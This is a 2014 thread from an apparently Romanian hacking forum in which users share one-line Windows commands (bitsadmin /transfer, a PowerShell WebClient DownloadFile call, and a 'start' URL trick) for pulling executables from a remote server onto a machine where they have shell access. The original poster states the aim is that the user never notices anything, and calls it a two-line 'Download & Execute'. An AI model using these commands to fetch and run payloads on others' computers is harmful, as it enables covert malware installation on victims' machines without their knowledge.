Nytro Posted April 29, 2014 Report Share Posted April 29, 2014 Salut,In caz ca vreodata aveti nevoie de un mijloc rapid de download pe un PC cu Windows la care aveti shell:bitsadmin.exe /transfer "JobName" http://download.url/here.exe C:\destination\here.exeL-am gasit aici: Windows batch file file download from a URL - Stack Overflow Quote Link to comment Share on other sites More sharing options...
Kalashnikov. Posted April 29, 2014 Report Share Posted April 29, 2014 sau Wget for Windows , e mai simplu Quote Link to comment Share on other sites More sharing options...
Nytro Posted April 29, 2014 Author Report Share Posted April 29, 2014 Alta optiune, cu PowerShell, dar cred ca merge doar pe Windows 7 si Windows 8.powershell -Command "(New-Object Net.WebClient).DownloadFile('http://www.foo.com/package.zip', 'package.zip')" @Kalashnikov. Asa ai si Firefox. Dar nu cand ai doar shell. Adica doar poti executa comenzi. Quote Link to comment Share on other sites More sharing options...
APIx00E00 Posted April 29, 2014 Report Share Posted April 29, 2014 Dragut, nu stiam. Mersi mult! Quote Link to comment Share on other sites More sharing options...
tudor13mn13 Posted April 29, 2014 Report Share Posted April 29, 2014 Sau poti da comanda "start http://rstforums.com/troll.exe" .. dar respectivu ar cam trebui sa nu fie la PC , deoarece ii va aparea in browser..start rstforums.com/troll.execd C:\Users\Trollescu\Downloads\troll.exestart troll.exeSi asta ar fii o idee Quote Link to comment Share on other sites More sharing options...
Nytro Posted April 29, 2014 Author Report Share Posted April 29, 2014 Iti deschide in browser link-ul. Ideea e, normal, ca userul sa nu stie ca i se descarca un fisier in calculator. Si nu toate fisierele pe toate browserele sunt descarcate automat si puse in Downloads.Ca nota legat de "bitsadmin", e nevoie ca serverul HTTP sa fie unul "ok", unul care sa suporte Range-Bytes si care sa nu raspunda cu HTTP 405. Spun asta pentru ca am instalat doua mini-servere HTTP stupide si nu au functionat. Cu Apache e ok.Ca sa inteleaga toata lumea, metoda e pentru cazul in care:1. ai acces shell la un user (adica acces la "linia de comanda", poti executa comenzi)2. poti executa doar comenzi de Windows, nu ai alte fisiere pe care poti sa le pui3. user-ul nu trebuie sa afle in niciun fel ca se intampla ceva ciudat la el in calculator4. nu trebuie sa te complici sa scrii zeci de comenzi ca sa descarci un fisier PS: Asa puteti face un "Download & Execute" cu 2 linii de cod. Quote Link to comment Share on other sites More sharing options...